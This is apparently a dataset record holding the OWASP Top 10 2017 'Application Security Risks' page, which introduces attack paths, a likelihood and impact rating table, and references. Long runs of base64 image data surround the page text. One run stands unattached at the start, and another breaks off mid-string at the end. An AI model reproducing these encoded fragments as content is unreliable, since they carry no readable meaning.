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)
|
0x10-app-security-risks.md | ./Top10/2017/en/0x10-app-security-risks.md | # Risk - Application Security Risks
## What Are Application Security Risks?
Attackers can potentially use many different paths through your application to do harm to your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.
![App Security Risks](images/0x10-risk-1.png)
Sometimes these paths are trivial to find and exploit, and sometimes they are extremely difficult. Similarly, the harm that is caused may be of no consequence, or it may put you out of business. To determine the risk to your organization, you can evaluate the likelihood associated with each threat agent, attack vector, and security weakness and combine it with an estimate of the technical and business impact to your organization. Together, these factors determine your overall risk.
## What's My Risk
The [OWASP Top 10](https://www.owasp.org/index.php/Top10) focuses on identifying the most serious web application security risks for a broad array of organizations. For each of these risks, we provide generic information about likelihood and technical impact using the following simple ratings scheme, which is based on the OWASP Risk Rating Methodology.
| Threat Agents | Exploitability | Weakness Prevalence | Weakness Detectability | Technical Impacts | Business Impacts |
| -- | -- | -- | -- | -- | -- |
| Appli- | Easy 3 | Widespread 3 | Easy 3 | Severe 3 | Business |
| cation | Average 2 | Common 2 | Average 2 | Moderate 2 | Specific |
| Specific | Difficult 1 | Uncommon 1 | Difficult 1 | Minor 1 | |
In this edition, we have updated the risk rating system to assist in calculating the likelihood and impact of any given risk. For more details, please see [Note About Risks](0xc0-note-about-risks.md).
Each organization is unique, and so are the threat actors for that organization, their goals, and the impact of any breach. If a public interest organization uses a content management system (CMS) for public information and a health system uses that same exact CMS for sensitive health records, the threat actors and business impacts can be very different for the same software. It is critical to understand the risk to your organization based on applicable threat agents and business impacts.
Where possible, the names of the risks in the Top 10 are aligned with [Common Weakness Enumeration](https://cwe.mitre.org/) (CWE) weaknesses to promote generally accepted naming conventions and to reduce confusion.
## References
### OWASP
* [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)
* [Article on Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)
### External
* [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)
* [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)
* [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)
* [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)
* [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
* [Microsoft Threat Modelling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)
| 3,222 | 0.003076 | # Risk - Application Security Risks
## What Are Application Security Risks?
Attackers can potentially use many different paths through your application to do harm to your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.
![App Security Risks](data:image/png;base64,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